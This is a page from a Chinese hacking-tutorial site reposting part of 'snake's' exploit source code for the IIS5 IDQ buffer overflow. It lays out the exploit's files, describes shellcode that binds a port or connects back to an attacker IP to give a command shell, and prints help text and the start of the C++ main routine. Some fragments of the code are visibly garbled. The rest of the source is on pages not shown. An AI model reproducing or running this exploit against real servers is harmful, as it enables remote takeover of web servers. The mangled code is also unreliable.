网站首页 | 网页制作 | 网络编程 | 图形图象 | 冲浪宝典 | 操作系统 | 软件教学 | 网络安全 | 认证考试 | 下载中心 | 游戏下载
| 网络安全首页 | 安全在线 | 病毒防治 | 黑客攻防 | 漏洞研究 | 黑客编程 | 破解手记 |
您现在的位置: 超人气学院 >> 网络安全 >> 黑客编程 >> 文章正文 用户登录 新用户注册
IIS5_IDQ命令行溢出程序源代码--snake           
IIS5_IDQ命令行溢出程序源代码--snake
作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-29 15:20:38
SNAKE的IIS5_IDQ命令行溢出程序源代码

by snake. 2001/7/31 

IIS5_IDQ溢出。。。从Internet上学习到的,也让他回归internet.

 

文件结构:

cpp文件:iisidqoverflow.cpp 和 SkShellCodeFunc.cpp
头文件: SkShellCodeFunc.h
功能文件:WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)
中间文件:iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
 

文件1:iisidqoverflow.cpp (主文件)

#include <afxwin.h>
#include "snakesocket.h"
#include "wsastart.h"
#include "SkShellCodeFunc.h"

//function predeclare.
//取得 需要 地址 信息
void GetNecesProcAddr( char *szInfo, int iMaxSize);
//生成我的 shell code代码.
int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);


//宣示帮助.
void ShowHelp()
{
  int i;

  printf("运行参数:操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>\r\n");
  printf("或者:操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1>\r\n");
  printf("\r\n\r\n其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe /c + dir\"");
  printf("\r\n如果为1,那么,将输入新的命令.");

  printf("\r\n\r\n支持的操作系统 类型: ----\r\n");
 
  for( i=0; i 0){
  send( msocket, szBuff, iLen, 0);
  }

  return (iLen>0)?true:false;
}

int main(int argc, char *argv[])
{
  CWSAStart wsaStart;
  CSnakeSocket snakeSocket;
  WORD wPort;
  DWORD dwIP;

  if( argc > 1){
  if( stricmp( argv[1], "GetAddr") == 0){
  char szTemp[12048];
  GetNecesProcAddr(szTemp, sizeof(szTemp) );

  printf("%s\r\n",szTemp);

  OSVERSIONINFO osInfo;
 
  osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ... 下一页  >> 

[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda    责任编辑:kinda 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    专 题 栏 目
    最 新 热 门
     Windows中巧用RUNDLL3[5355]
     黑客软件编写基础知识[827]
     Win32Asm快速教程[535]
    相 关 文 章
    破解APISpyforNTv1.4
    另类爆破——RamDisk9x/Me
    加密算法之BLOWFISH算法
    简单算法——Cisco某个学习
    ClockWise3.22e注册码算法
    ClockWiseV3.25c
    DaBriSoft的“桥牌定约人练
    DiskChief1.2简单注册算法
    脱VisualProtectV2.1.0的壳
    RegistryCrawler4.0注册码
    VisualBasic程序之解释语言
    VisualBasic程序之动态跟踪
    VisualBasic程序之SmartCh
    深思III软件狗数据区读取程
    PersonalAntispy1.14注册算
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)